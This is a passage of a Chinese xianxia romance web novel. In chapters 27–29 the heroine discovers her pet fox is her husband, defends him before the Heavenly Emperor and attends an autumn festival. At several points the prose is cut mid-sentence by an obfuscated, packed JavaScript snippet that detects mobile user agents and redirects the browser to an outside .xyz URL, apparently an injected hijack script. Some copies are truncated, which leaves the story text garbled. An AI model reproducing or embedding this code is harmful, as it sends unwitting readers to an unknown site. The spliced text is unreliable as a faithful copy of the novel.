绯明只是把茸茸拎给她,让她带好。 茸茸倒也确实可以保护她,可何缨想的是,她也想和绯明一起在沧溟仙宗里逛一逛。 虽然在仙宗的时间不长,但至少在何缨心里,彼岸之间和无相天峰,乃至那座上课用的正殿,都曾经是她的归属。 之前两人见面的时候,不是危机之时,就是秘境之内。 既然和绯明结婚了,他对自己也很好,何缨想把自己的过去介绍给绯明听。 21世纪的那二十年,怕是开不了口。但在仙宗里的日子却是可以的。 ……可是绯明拒绝了。 何缨嘴上说着没事,心里却难免有些失落。 晚上,何缨练完新的符箓,照例和绯明紧握双手,沉入了绯明的忆海。 那次接吻过后,不知怎得,两个人都有些不好意思。这些日子,再没怎么亲密接触。平日里两人各做各的,只有晚上的时候,他们会同床共寝。 这一段日子的梦里,何缨都在绯明的忆海里度过。修为早就突破了元婴期,正在一点一点缓步朝化神迈进。 一个月的时间,何缨已经把赤璃境逛了个透。 然而,除去花园和庭院,在最北边的庭院外,杂草丛生的背阴处,还有一条巨石垒成的路,一直延续到天空之上。 看起来就很难爬。 之前的时候因为其他地方还没逛够,所以何缨就没来这边。等想起来走到这边的时候,天却已经亮了。 这一次,何缨一掉进忆海,照例撸了一把绯明的毛毛,就兴致冲冲地往北边跑去。 绯明抬起狐眸:“这么急,去哪?” 何缨头也不回:“秘密!” 绯明:“……” 这分明是他的忆海,哪来的秘密。 走到石阶前,何缨挽起袖子,越过半人高的石阶,缓缓地飘了上去。 石阶很长很长,越到上边,高度反而没有一开始那么高,逐渐恢复成了正常台阶的高度。 何缨飘了将近百阶,她一低头,脚下是一片星空。这里早已经蔓延到了赤璃境原本的土地之外。 又过了约莫几十阶,一片圆形的石台出现在了眼前。 那石台十分巨大,比沧溟仙宗的那个还要大。何缨好奇地走上去,摸了摸上面的符文。 石台没什么反应。 何缨还以为上面是什么藏宝地,结果就只是一个空空荡荡的石台, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白墙红瓦,圆顶金檐,飘在空中。 何缨看花了眼,却在视线垂下后晃神。 宫殿的下方,系着两只大大的红色蝴蝶结,无论是缠系手法还是颜色,都与她那时给绯明画的那条一般无二。 原本威严的殿宇配上了两只蝴蝶结,在何缨的眼里变成了一件名副其实的礼物。 何缨带着团雀和蝴蝶走进宫殿,心念一动,那宫殿的外观就变成了一间小小的亭子,载着她们三人朝下界飘去。 “那绯明要下界,也要提前请示么?”何缨一一看过宫殿里一应俱全的软垫靠椅和床榻,和应有尽有的吃食。她拿起一颗葡萄放入口中,心中滋味难言。 斗星:“他?他就是出一趟赤璃境都要被人盘问——” 不过他本人不在乎那些罢了。 司晨用鸟喙啄了蝴蝶一下,蝴蝶便幻化成了人形,也捏起了一粒放在冰盆里的葡萄。 何缨问:“为什么?” 司晨也变回人形,坐在斗星身边接过话茬,“不是盘问,只是仙尊身份尊贵,若是下界,也应当有相应的礼仪……” 斗星用葡萄堵住了司晨的嘴。 “这有什么不能说的?那帮老顽固脑子有问题也不是一天两天了,告诉她又有何妨?” 司晨苦笑,她不是怕何缨知道,而是怕何缨知道后心忧。 绯明特意让她们二人在祭典这天带何缨离开赤璃境,不就是不想让她担心? “因为绯明是仙界里唯一一位以妖狐身成仙的尊上。但是仙界有一些人,并不认可妖狐的身份,哪怕他是九天玄狐也不行。真的是迂腐之极,天道都承认了,他们还有什么不同意的!”斗星义正言辞。 何缨听完,忽然有所悟,她似乎终于能理解绯明忆海中的赤璃境,为什么那么空旷。 仙界排斥他,他的心里,或许也在排斥仙界。 他对这片仙境没有认同感。 所以在潜意识里,没有东西是他需要的,而他也不被任何人需要。 27. 27 绯明只身坐于天坛中央,神色有几分不耐。 天帝这个路痴,他只是把赤璃境换了个地方,竟然半个时辰还没找到。 不知过了多久,天帝的座驾这才忽忽悠悠地从西边飘来。四个童子晕头转向地放下轿辗,众仙这才跟随天帝来到天坛周围。 依旧只有八条狐尾,依旧少了那一缕分神。 贯穿胸口的四境仙光带来钻心的痛楚,而这份痛楚每年都要来上那么四回,千年过去,绯明已经习惯到麻木。 赤璃境内寂静无声,樱花丛一片一片地绽放,绯明望着那大片的粉色,心底是前所未有的宁静。 宫殿摇摇晃晃地飞到了沧溟仙宗正上空,云淮的掌门令何缨还带在身边,三人便这么悄无声息地飞进了无相天峰。 何缨并不了解景言川的作息,只当碰碰运气,于是带着一鸟一蝶走进了景言川的小院。 院子前没人。竹林里也没人。 斗星十分新奇地四处打量,“我以前说要住这种小院他还不干,说太冷清了,怎么过了五世也开始回心转意了?” 何缨绕过竹林外的小路,走到瀑布边,果不其然在水下发现了一个白色的人影。 何缨:“……”绯明,是我错怪你了,这家伙泡在瀑布下绝不是一次两次了! 何缨挥手示意,斗星立马化成人形,兴冲冲地跑过来,将水里闭目的男人拖出了水面。 “景言川,景言川!”斗星用手掌亲切地拍打景言川的侧脸,好像鱼贩在验证这条鱼新不新鲜。 景言川睁开眼睛,两个人一个鸟就这么盯着他。 景言川:“……” 斗星抱起景言川疯狂摇晃,“天啦,你这一世长得简直太帅啦!” 景言川半响摸不着头脑,只能看何缨,“师妹,这位是?” 斗星:“哎呀你听我跟你说这都不重要,重要的是你真的很帅,男人,本仙承认对你动心了!我一会儿就去找月老,让他给咱俩牵条线!” 景言川捂着被斗星拍的通红的侧脸,陷入了深深的沉默。 司晨落在她肩膀上问她,“月老不是拒绝了你几百次?” 斗星:“嗨呀这不是见上面了吗!万一呢!没准呢!” 景言川:“……” 何缨:“……” 很好,很开朗,很自信。 于是事情最后变成了景言川请客,带她们仨在沧溟仙宗里逛逛。 然而,何缨一个社恐呼呼往众人身上贴隐身符,景言川又是沉默寡言的性子,司晨也不怎么说话,于是就变成了斗星一人的小剧场。 何缨又去灵宠店买了一批丸子和蔬果脆片,她打开一包分给众人,获得了一致的好评,就连景言川都点了点头。 斗星:“这竟然是给灵宠吃的,我也要当灵宠!”、 司晨:“那你来我家做个大公鸡,早上替我报晓一个时辰,我就给你买几袋吃。” 斗星:“那还是算了,我去给何缨当灵宠——”斗星话未说完,就和何缨怀里的茸茸对上了视线,斗星当即蹿到了十米开外摆了摆手,“当我没说!” 茸茸无力地叫了两声,钻进了何缨怀里不肯动弹。 何缨喂了他一串丸子,他吃完了也没什么活力,只是蹭了蹭何缨的脸颊。 看着茸茸有气无力地眯着眼睛,何缨轻轻捏了捏它毛茸茸的脸颊,不免有些担心,这情况和几个月前一模一样,难道是人界灵气稀薄的问题? 之后几人又去九韶峰逛街,何缨买了些她平时常用的颜料和食材,又去重新给自己买了几件元婴期的法衣。 在九韶峰上逛了一圈,茸茸的状态却每况愈下,何缨心中焦虑,忍不住问司晨,“你知道茸茸他为什么会这么虚弱么?” 司晨柔和的笑意僵在嘴角,“或许是人界的灵气和仙界不同,他不怎么适应……” 何缨皱起眉头,“可是我在人界捡到他的时候,他什么事都没有,直到几个月前,忽然就变得特别虚弱,和这次一模一样。” 斗星安慰她,“没事的,他都成了仙啦,你回去让绯明分些法力给他,不就好了?” 何缨想起绯明,忽然觉得有什么地方不对。 她记得,上一次茸茸陷入沉睡之时,绯明也在,那一天的绯明,看起来也不怎么舒服来着? 那个时候,她以为是有男女主的主线剧情要走。现在想通了,不再那么在意那个金手指,于是回想起了一些可疑的蛛丝马迹。 其一,两人不相识的时候,绯明曾和自己“偶遇”过数十次,是怎么能够精准知道她在什么地方的? 其二,绯明和茸茸的关系十分亲密。何缨问过绯明一次,他没有回答。当时何缨以为绯明是谜语人,可实际上他只是性格有些别扭而已。如果茸茸只是普通的仙侍,那么他不肯回答的原因会是什么? 其三,也是困扰何缨至今的问题。何缨从不相信一见钟情,更不相信天赐良缘。绯明到底是什么时候喜欢上自己的?人界寥寥几次见面,何缨并不相信自己有那么大的魅力,能让绯明一眼便喜欢上自己。 何缨越想越乱,眼前的坊市也变得索然无味起来。 时间差不多,三人便同景言川道别。 临走时,斗星将一块散发着点点星光的石头交给景言川,在他的脸上捏了一把。“修炼的时候带着这个,事半功倍。我走啦,你努力哦!” 司晨盘算着,拖了将近两个时辰,怎么算,祭典都应该结束了。 目的达到,便和何缨坐上浮空阁,回了仙界。 重新回到仙阶旁,何缨还有点不适应,但仙阶既然认可了何缨,就不会再为难她。 浮空阁一直飘到了赤璃境口,何缨跳下来,发现天空的颜色有些不对劲。 时间是快到傍晚,可是天空红得像是谁泼上去了一大盆红墨水一样,一丝其他颜色都没有,云朵没有就算了,竟然连落日都没有,整个天空像是一张画布,彻彻底底被红色掩盖。 司晨一看到天色就知道事情不对,她一把拉住了何缨的手,“仙界往东还有一片海域,上次我们没去,我们现在去看看?” 何缨没有回应她。 ……因为她已经看见了。 她看见了,那座原本杂草丛生,荒无人烟,飘在赤璃境上空的石台上。 无数仙人将那石台团团包围,一道银色的光和赤红色的火焰撞在一处,天帝和绯明两人一手持剑,一人空手燃起狐火,于天空中碰撞出剧烈的火花。 天空就是这样被绯明的妖力一点一点染红的。 而在那之外,自四方塑仙石照射而来的强光依旧打在绯明身上,他那银色的灵力依旧在不断地被攫取。 绯明同天帝对峙了整整一个时辰,始终分毫未让。 “绯明尊上,您这是何苦呢?青鸾神座已经嫁给了您,你们夫妻二人各出一份灵力存入塑仙石中,正好也能缓解您灵力空缺时的经脉受损。”天帝座下一童子好言相劝。 绯明手中狐火又一次爆裂,威压携带着热浪将周围的一众仙官全部掀飞,狐火烧毁了他们的外袍,在他们的身上留下一道道灼烧的痕迹。一时众人皆是狼狈不堪。天帝以剑自卫,却也不得不往后倒退数十步,踩到了石坛边缘。 狐火已经烧上金冕服的衣角。 “千年前本座就说过,每年仙界要多少灵力,本座一力承担。不会因为任何人更改。” 绯明一袭赤色锦服于空中列列翻飞,他轻蔑地看向天帝,脸上划过一丝嘲讽的笑。“她已经嫁给本座,生是本座的人,死是本座的鬼。六界之内,没有任何身份,能越过本座随意处置她!” “即便你灵力亏空,经脉受损,也要用妖力同孤王一决高下?“天帝问。 绯明嗤笑,“一决高下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785749|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你是不是忘了,是本座好心让了你数招,这天帝之位,才会落在你的手中。别太放肆。” 两人针锋相对,众仙原本还在看热闹,绯明此言一出,便是铁了心要忤逆天帝的决定了。 正在这时,仙群里忽然传来一个夸张的男声,故作惊讶道:“青鸾神座回来了!” 吃瓜众仙:……嗨呀早看到了好吗!你告诉他们干嘛! 绯明此时灵力尽丧,早就同茸茸断开了联系。 一阵温热的灵力却是先一步润泽了他那疼痛不已的经脉。 几乎无法抑制的,绯明的身体本能做出了反应,将那原本就属于他的灵力收入了体内。 赤红色瞳孔骤缩,绯明回头,一眼看见了安静矗立在石碑旁的何缨。 在她手中,原本捧着的那只小狐狸早已消失。 一时之间,绯明的妖力大涨。 在他身后,原本的八条狐尾多出了一条,终于变回了九。 神识不再残缺,绯明只用了一招,便将天帝打出了天坛。 四名童子慌忙用轿辗接住天帝。 天帝看向来到此地的何缨,神色依旧十分认真,“青鸾神座。朕命你将神力供奉于四方塑仙石,以维持仙界灵力周转。” ……他竟然还没放弃。 绯明手中火球已经大到要将整个石坛吞没,天帝手中银剑未收,眼看新一轮碰撞又要开始。 何缨走上石台,她像是没有听见天帝的话,连一个眼神都没能施舍给他,只是沉静地看着绯明。 她一步步靠近,绯明手中的火焰一点点消弭,直到两人只差毫厘,绯明的心越跳越快,他抿紧的唇微张,却说不出一句话来。 两人相望许久,绯明别开了视线,还是何缨先开了口。 “原来是你啊。”何缨说。 说时迟那时快。何缨拔下头顶的步摇,毫不怜惜地在自己腕上一划,登时鲜血如柱。 “你做什么!”绯明攥住何缨的手臂,眼里满是不可置信。 何缨却踮起脚尖,于他唇畔轻轻烙下一个吻。 绯明当即僵在了原地。 这是一个蜻蜓点水般的吻,却让绯明周身燃起的烈火顷刻间消失殆尽。 何缨转过身来,心里是前所未有的安宁,一切事情都有了解答。 她将手腕展示给在场所有的仙君以及天帝看。 “如果我没记错,青鸾神座的血脉,似玉似翡翠,美丽异常。而我的血,只是普通的,属于一个凡人的血。” 何缨因为疼痛而皱起眉头。要是在穿越前,她肯定不敢在这么多人面前和天帝对峙吧。 众仙一愣,这倒是确实。传闻中,青鸾神座的血,便是琼浆玉露,同何缨如今留下的血截然不同。 何缨:“不管如何,如今的我尚未成仙,更非是神,无论如何都无法做到天帝的要求,恳请您收回成命。” 天帝沉默良久,他不说话,众仙也不敢说话。 绯明却是先一步握住了何缨的手腕,含住了那道伤口。 温热的灵力暖呼呼地流进了何缨体内。 ……和在后山时茸茸舔舐过的伤口一样。 又过了一会,天帝终于松口,“既然尚未获得神力,那便就此作罢。” 众人都松了一口气,四名童子抬起轿辗,正要离去,何缨却又一次出声。 “等等。”何缨看到面前数以千计的陌生人类目光投射到她身上,终于还是有些发抖。 但是她还是开口了,因为她必须要说。 “没有神力,那供奉塑仙石一事便全然是无稽之谈,您却因为子虚乌有之事,在我夫君最虚弱的时候,同他大打出手,甚至要逼迫一个灵力亏空的九天玄狐动用妖力,这是什么道理。” 何缨握紧双拳,低下头来,努力不让自己的声音发抖。 “请您给他道歉!” 28. 28 绯明愣住了。 不光是绯明,一众仙人也愣住了。 天帝座下一个童子皱起眉头,刚要喝问何缨,却被天帝制止。 天帝收起佩剑,从轿子上下来,微微颔首。 他竟然真的同绯明道了歉。 “今日之事,是朕操之过急,多有得罪之处,还望见谅。” 天帝一挥手,一名童子乘着托盘走到何缨面前,将盘中之物献给何缨。 “这两枚血灵芝,可以修补经脉,恢复灵力,权当作补偿。” 众人一时之间窃窃私语,天帝和绯明相看两厌数千年,还是第一次这么和谐。 一旁,斗星仙子却是哈哈大笑,“我倒是觉得,不仅天帝该道歉,咱们这群围观的也该道歉,绯明尊上灵脉受损,我等却一言不发,冷眼旁观,是何道理?” 她一挥手,便有两名仙呈上了一匹绣着锦绣星河的锦缎,“此前多有得罪,此物送与尊上,以表心意!” 天帝送了灵芝,斗星送了布匹,这一下子把众仙架在了炉火上。 于是他们连忙招来自家仙侍,相继开始给绯明送礼,送礼之时,脸上堆满了笑容,言语之间尽是讨好。 绯明熄灭手中的狐火,臭着一张脸,盯着这帮人将礼物一件一件地摆到了天坛上。 其中有几人上前同何缨寒暄,绯明却是直接用袖子把何缨藏到了身后。 面对绯明一双熊熊燃烧的赤色眼眸,原本还想同何缨聊天的几人只能放下礼物落荒而逃。 这场送礼活动一直进行到天色暗沉,放不下的礼物都被堆到了石坛上。 最后一个小仙走后,空气彻底安静了下来。 何缨还保持着被绯明揽在身后的姿势,静静地靠在绯明的背上。 绯明张了张口,想要说的话却怎么也说不出。只能保持了沉默。 还是何缨先松开了他的袖子,先一步走到了石坛边上。 “……我回去画画了。” 说完,何缨逃也似的离开了石坛,将绯明远远地抛在了身后。 时至今时,似乎一切都有了解释。 一切不合理之处,都有了答案。 何缨早该想到的。 但是她过于执着于她能“看”到的身份牌,以至于让她忘记了一件事。 在这个世界里,其他生物的身份,她是看不到的。不说仙人,便是化神期的师兄,已经可以将神识分出一缕,凝成剑意赠与他人,更何况是仙尊? 明明这一切是那么的简单和理所当然。 何缨跑回大殿,脑海中闪过的全都是她和茸茸相处的点点滴滴。 在幻境里,屈尊降贵从背篓里跳出来,在前面引路的茸茸。后山捉宠时,从天而降接住她保护她的茸茸。 给茸茸洗澡,喂食,抱着茸茸一起睡觉…… 怪不得每次她沐浴时,茸茸都跑得远远的,想要给他洗个澡,也落荒而逃。 她换衣服时,茸茸不是背过身去,就是拿尾巴蒙住眼睛。 ……吃东西也是,当时绯明和茸茸抢了好多东西吃,她还以为是绯明胡搅蛮缠。 何缨想起之前她为了比较自己结丹后的身材发育如何,还把茸茸当测量器从领口扔进衣服里…… 她的脸色一瞬间爆红,在床上狂滚。 怪不得当时茸茸一被扔进去就弹射似的窜了出去,她还笑话茸茸来着! 以及——她好像,从见到茸茸开始,没事就抱人家,摸人家,亲人家,还把脸埋到茸茸的肚子上…… 何缨无声大喊了不知道几百个啊,哗啦啦地卷起被子把自己整个人蒙住,寄希望于一张弱小可怜又无助的薄被能把那个无知的自己闷死。 ……原来,他一直在自己身边,陪了自己这么久。 绯明随手捏了个屋舍,把那堆乱七八糟的礼物塞了进去。 迎着月色,他悄无声息回到大殿,看到的就是这幅场景。 漆黑的卧房里,何缨把自己死死蒙在被子里,拢起的被子随着她的姿势而轻轻颤抖。 绯明在屏风前矗立良久,久到攥紧的手指将掌心都划破,终是未踏进寝殿一步。 他回到了殿前的台阶旁坐下。 月光将他的影子无限拉长,而院子里的樱花,离他太远。 早在当初用分身监视何缨时,他就该想到的。 后来利用何缨对狐狸的喜爱一直留在她身边时,就该告知她真相的。 绯明脸色一片苍白,他静静看着庭院里不断飘落的绯樱,心里想的,却依旧是何缨温柔地抱起他亲吻的模样。 知道茸茸就是他,一定很失落吧。 绯明垂下眼眸,眼底却闪过一丝未尽的偏执。 不论如何,这半个月来的相处做不了假。 绯明握住了缠在他手腕上的红线。 他绝不会放手。 “……你怎么又坐在这?” 绯明一惊,祭典之后,他的五感都比平时弱了许多,竟然没发现何缨出来了。 何缨没有毛茸茸可以摸,在床上颠来倒去睡不着,等了很久绯明也没回来。 绯明耗空了灵力,或许会很难受。 她穿着白色的睡袍,踢沓着鞋子便跑出了寝殿。 又一次在熟悉的地方看到了熟悉的身影。 何缨跑过来,连鞋子被甩飞了也不在意,她在绯明身前蹲下,轻轻抚过绯明的额头,小心翼翼地问:“还在难受吗?” 何缨握住绯明的手腕,用她在沧溟学的那半吊子的办法,将自身灵力注入了绯明的体内。 这样会好些吗? 何缨话还没问出口,就跌入了一个温暖的怀抱。 绯明用宽大的袖子垫在何缨身下,欺身而上,将何缨整个圈在了怀里。 温热的气息立时将何缨包裹。 何缨一下子瞪大了双眼,被那炽热的呼吸弄得一阵轻颤。 九条狐尾悄然化形,缠住何缨的腰肢小腿和手臂。 一对赤红的狐耳出现在绯明头顶,而他的长发,也在一瞬间变成了赤红色。 绯明用耳朵在何缨的颈间轻蹭。“……你不许生我的气。“ 何缨揉了揉他的耳朵,像安抚小动物一样轻轻拍了拍他的后背,“生什么气?” 可怜见的,被人抽了一管灵气,她心疼还来不及。 她打了个哈欠,蜷了蜷脚趾。“回屋去,我鞋子都掉了。” 绯明抱起何缨走进大殿,将她轻放在床上,又回头去替她寻鞋,将那只被何缨甩得翻倒在屏风旁的鞋子提回床边。 何缨往里挪了挪,绯明褪去外袍,撩开那张被何缨揉得皱皱巴巴的小被子,将何缨抱在了怀里。 何缨伸手握住一缕赤红色的发丝,觉得这个颜色意外地好看。 等明天给他画一张。 绯明将头埋在她的颈侧,他的声音有些沉闷,“你真的不介意?” 何缨摸着绯明毛茸茸的大尾巴,连魂儿都被勾走了,她迷茫地问,“介意什么?” 绯明沉默了好久,“茸茸的事。” 何缨窝在他怀里迷迷糊糊,手却坚持地抚在绯明身后:“这有什么,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她就看着一簇一簇的向日葵转过花盘,向她俯首。 ……啊? 何缨:“你们会说话?” 然后她就听见这群向日葵有学有样地重复了起来。 “会!会!”葵花们得意地扭动着花盘。 何缨沉默,怪不得这一批向日葵的生长期这么长,到了仙界还是慢吞吞地不肯开花,原来不是凡物。 何缨:“那你们说,大楚兴,陈胜王。” 葵花们的口条还没捋顺:“大粗兴!岑森王!!” 何缨拿了条蓝色带,给说得最好最卖力的那一只向日葵系上以作表扬。那只葵花立刻娇羞地蹭了蹭何缨。 绯明:“……” 这六个字到底是有什么魔力。怎么逮着谁让谁说。 向日葵虽然没有理论上的双眼,却十分有眼力见,能识别主人的情绪。 感受到绯明沉下了脸,他们又重复起了那句话。 “参见仙妃殿下!仙妃殿下早安!” 何缨揶揄地怼了怼绯明,“你教它们说的?” 绯明轻咳一声越过了这个话题。 “今日瑶池边有秋会,你想不想去看看。” 何缨:“人多吗?”人多就算了。 绯明:“在我身边,没人敢随意打量你。” 29. 29 和向日葵们告别,何缨换了身橘粉色的裙子,绯明替她将步摇带好,两个人出了赤璃境。 手中空空如也,何缨有些不习惯,她戳了戳绯明,“变个茸茸呗。” 绯明:“就这么喜欢狐狸?” 何缨没明白这男人又在说什么,“毛茸茸暖烘烘的,怎么不喜欢?” 绯明却是将左手贴了过去,握住了何缨藏在袖子里的手。 两只交叠的手很快十指相扣。 何缨的脸一下子红了起来,目光灼灼地看向绯明。 绯明避开何缨的视线,“……这样不行么?” 何缨过了半响才小声说:“握手算什么,晚上你还要把尾巴给我摸才行。” 仙界很大,仙人出门都用飞的,速度并不慢,可是何缨握着绯明的手,却觉得这段路比她走过的任何一条路都要漫长。 绯明的手十分宽厚,骨节分明,被这样一只结实且修长的手牵着,一阵燥热涌上心头,何缨眼神飘忽不定,连观望四周都忘了,只是一味地目不斜视朝前行进。 绯明亦不敢偏头,只是卸了力道,将何缨的手虚虚握在掌心。 瑶池畔到处都是清亮的水,波光粼粼地流淌着。 河边的长亭已经聚集了很多仙人,斗星和司晨也在。 见到二人,何缨连忙松开了绯明的手,和她们打招呼。 司晨越过何缨,看向她身后的绯明,见绯明神色如常,并没有大发雷霆的迹象,心下稍安。 斗星则是风风火火大步流星过来,拽住了何缨的衣袖。 “我去,昨天吓死我了!”斗星拍了拍胸脯,司晨笑骂她,“又不是你大手一挥送人两匹锦缎的时候了。” 斗星也笑,“那不还得咱何缨勇吗,咱家何缨都流血了,怎么也得让那帮人出出血。” 何缨也笑:“就是啊,绯明就是担心过度,我在那,事情早就解决了。” 斗星立刻点头如捣蒜,她还想再发表一通昨天是多么多么心惊胆战,却被司晨捂住了嘴。 然而,事情还是晚了一步,在斗星点头时,何缨的笑容便敛了起来。 “果然是这样。你们三个人连起来糊弄我。” 斗星拿开司晨的手,“……准确的说是两人一狐。” 何缨做伤心欲绝状:“我在仙界就只认识你们两个,你们竟然还骗我。” 斗星立刻滑跪,“姐我错了!看在那两匹布的份上原谅我吧!” 何缨本来也没打算责备她们,事肯定是绯明想的,她们两个只是仙界两个小仙,事情败露就会两头得罪。 何缨扶起斗星来,“你那两匹布是挺好看,就是太薄太透了,能做什么?” 斗星邪笑,“做睡衣呀。” 见四下无人,她勾着何缨的肩膀凑到耳边,“一匹布做两件,一件小衣一件底裙,再做一套舞裙,晚上你就穿这个……唔唔!” 这下不止司晨,何缨也要来捂她的嘴了。 秋会,全名秋神祭会。何缨原本以为是秋日集会,没想到竟然是仙界的正经节日。 绯明的大半灵力都用在了这里,用以验证和维持仙神两界正常运转。 “神界不是比咱们仙界还高一级?他们自己管自己的呗,还用得着仙界?“何缨不解。 “一看你上学的时候就没好好学六界史,神界是比咱们高端,但是神界没有活物啊。” 何缨茫然,“没有活物?” 司晨补充:“凡成神者,皆同天道法则融为一体,化作一道不容违背的律令,管束六界。不管生前是什么身份,什么族类,成神后,肉身便会消失,本身意志和意念会化成一道法则,约束六界。” 斗星点了点头,“不过我听说也有成神失败变成堕神的,鬼界那边就有几个,一天天就想着怎么搞事来着。” 何缨忽然想到,莫非原主最后的使命就是成神,变成一道律令? 那也太玄乎了! 以前的何缨肯定会说那也挺好,毕竟她的人生理想就是物理意义上的永远从世界上消失,但现在她的身边多出了另一个人,而仅仅因为这个人的存在,她的心态竟也变得不一样了起来。 “绯明也会成神么?”何缨问。 司晨摇了摇头,“除了像你这样有名有姓的神兽一族,其他族类很难成神。不过,我听说绯明尊上刚成仙时,法力比仙界诸仙都要高出几倍,连天帝也不是他的对手,很多人都猜测他会不会成神,几千年过去了,什么事都没发生,于是他们又开始担心绯明尊上造反。他一离开赤璃境,就要大呼小叫。” 何缨却关注到了另一件事,“这么多年来,绯明都是一个人在赤璃境里?” 斗星点了点头,“你来之前,绯明尊上一个人在极北之地的上空搭造了赤璃境。那地方没有白天,只有黑夜,或许连风也没有吧。没人敢去那里打扰他,只有蓝舒司命有时候会去看望他。平日里什么集会,他都不会露面,秋会更是从未来过。” 他是为了你才来的。斗星在心里说。 何缨的脑海里浮现出绯明坐在殿前,孑然一身的画面。 在她来之前,绯明独自坐在那台阶旁,度过了多少岁月? 她又情不自禁想起那片荒芜的忆海。 之前都是晚上才会去绯明的忆海里乱跑,何缨对那夜色下的赤璃境并没有什么感触,现在想来,或许不论什么时候去那里,那里都只会有夜晚。 乐声起了,天帝的轿辗出现在天边,原本唠的正欢的众仙立时噤声,排排走按席位依次坐好。 ……跟开联欢会的时候班主任突然来了似的。 何缨和她们道别,跑回去找绯明。 绯明已经一个人臭着脸坐在那好一阵子了。 何缨看他那满脸不高兴的模样,不免有些好笑。 可是一想起他一个人在赤璃境里枯坐了不知多少时日,又有些心疼。 原本有童子替何缨在绯明的下位加了一套桌椅,被绯明制止了。 于是何缨来的时候,就只看到绯明身旁有个替她留好的席位。别人都是一人一桌,只有他们是两人一桌。 绯明见何缨回来了,脸色稍缓,他把椅子往何缨那边挪了挪,和她贴在一起。 ……像联欢会上偷偷靠坐在一起的小情侣。 何缨这才忽然发觉,绯明的发色不知何时变回了墨色。 “红头发挺好看的,怎么变回来了?我还说要给你画一张画呢。”何缨倒了点桌上的饮料。 绯明看她许久,“也就只有你会说好看。” 他每次露出原本的发色,不是灵力透支就是妖力过盛,是要见血的时候。 而赤红的发色,也正在不断地提醒着众人,他是狐妖,他是异类。 何缨想了想,也对哦,绯明总是一个人在赤璃境里,没有人能和他说话。上次来的那个叫蓝舒的仙君,看着也十分不靠谱的样子。不像是个懂得欣赏的人。 何缨:“他们那是不懂艺术,没有审美,你的头发可好看了,特别特别酷炫。” 绯明:“酷炫?” 何缨:“……就是很美丽的意思!” 绯明没再纠结这个:“你的画也很好看。” 何缨:“真的吗?” 绯明:“比任何人画的都要好看。” 何缨笑了,“你可别抬举我,我是什么水准,还是有自知之明的。” 天帝从一旁经过,何缨连忙住嘴,老老实实地摆正了坐姿,绯明却还靠在她身上,何缨推搡了他几回,绯明才不情不愿地坐直身体,微微靠后,手却还搭在何缨身边的把手上。 秋会正式开始,众仙齐聚,先念了祝词,何缨不会那些,只能看着他们念,绯明不屑念这些,百无聊赖地玩起了何缨腰带上的绳结。 颂道仙君取来一鼎香炉置于瑶池畔,取了三柱香来,置于炉内点燃。 那香炉的周围一圈便亮起了金色的符文。 只要这三柱香顺顺利地烧完,不灭不断,便算是礼成。 众仙噤声,正襟危坐,静默等待。 绯明倒是依旧蹭在何缨身边,何缨放下手中的玉杯,等待这有些发闷的寂静过去。 瑶池平静无波,香炉中的香也静静燃烧殆尽。金色的纹路逐渐暗去。 三柱香烧了个干干净净,化作一小堆香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788634|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰推在香炉里。 什么也没发生。 神界一如往常,安然无恙。 天帝颔首示意。 秋会一年一度,众仙习以为常,见香燃尽,便同邻座之间互相交谈起来。人声渐起。 绯明不屑同他人搭话,何缨更是不敢打话,也不想被别人注视。 他们两个周围好像自然而然形成了一道无形的屏障,将其他人隔开。即便有人对何缨报以善意的目光,何缨也只能尬笑以对,然后立马转移视线干点别的。 桌子上摆了一些吃食,壶里装的是酒,何缨打开壶盖,一股花香味扑鼻而来,不知道什么花酿的,又甜又香。何缨喝了一杯,吃了一口碟子里的糕饼,眉头一下子紧皱。 这点心究竟是本身就这么难吃还是放太久了,该不会是老演员年年拿出来放在这吧! 何缨偷瞄了几眼周围,也有人动筷,但是很少。大多数仙人都在借着这个机会互相攀谈。简直像是一个交际会。 看来不是老演员,而是真的难吃,也没人吃。 绯明看何缨那苦大仇深的表情就知道是在怎么回事,把自己的那一块也推到何缨面前。“这是仙饼,吃了涨修为的,对你有好处。” 何缨撇了撇嘴,皱着眉将她咬了半口的糕饼吃下肚。然后立刻把那个盘子推的远远的。 让她吃这东西不如跟绯明双修。 本来以为秋会有什么有趣的东西,结果就看人上了柱香,吃了块难吃的饼。接下来全是自由发挥时段。 何缨在人群中找寻斗星她们,一直转到了身后才看见她们两人弄了只船,到湖上玩去了。 何缨收回视线,于人声鼎沸中端详绯明。 绯明根本没来过,更不知道秋会竟然这么无趣,他看向原本抱了期待跟他来的何缨,有些过意不去。 “……回去吧。”绯明早就注意到何缨投来的视线。 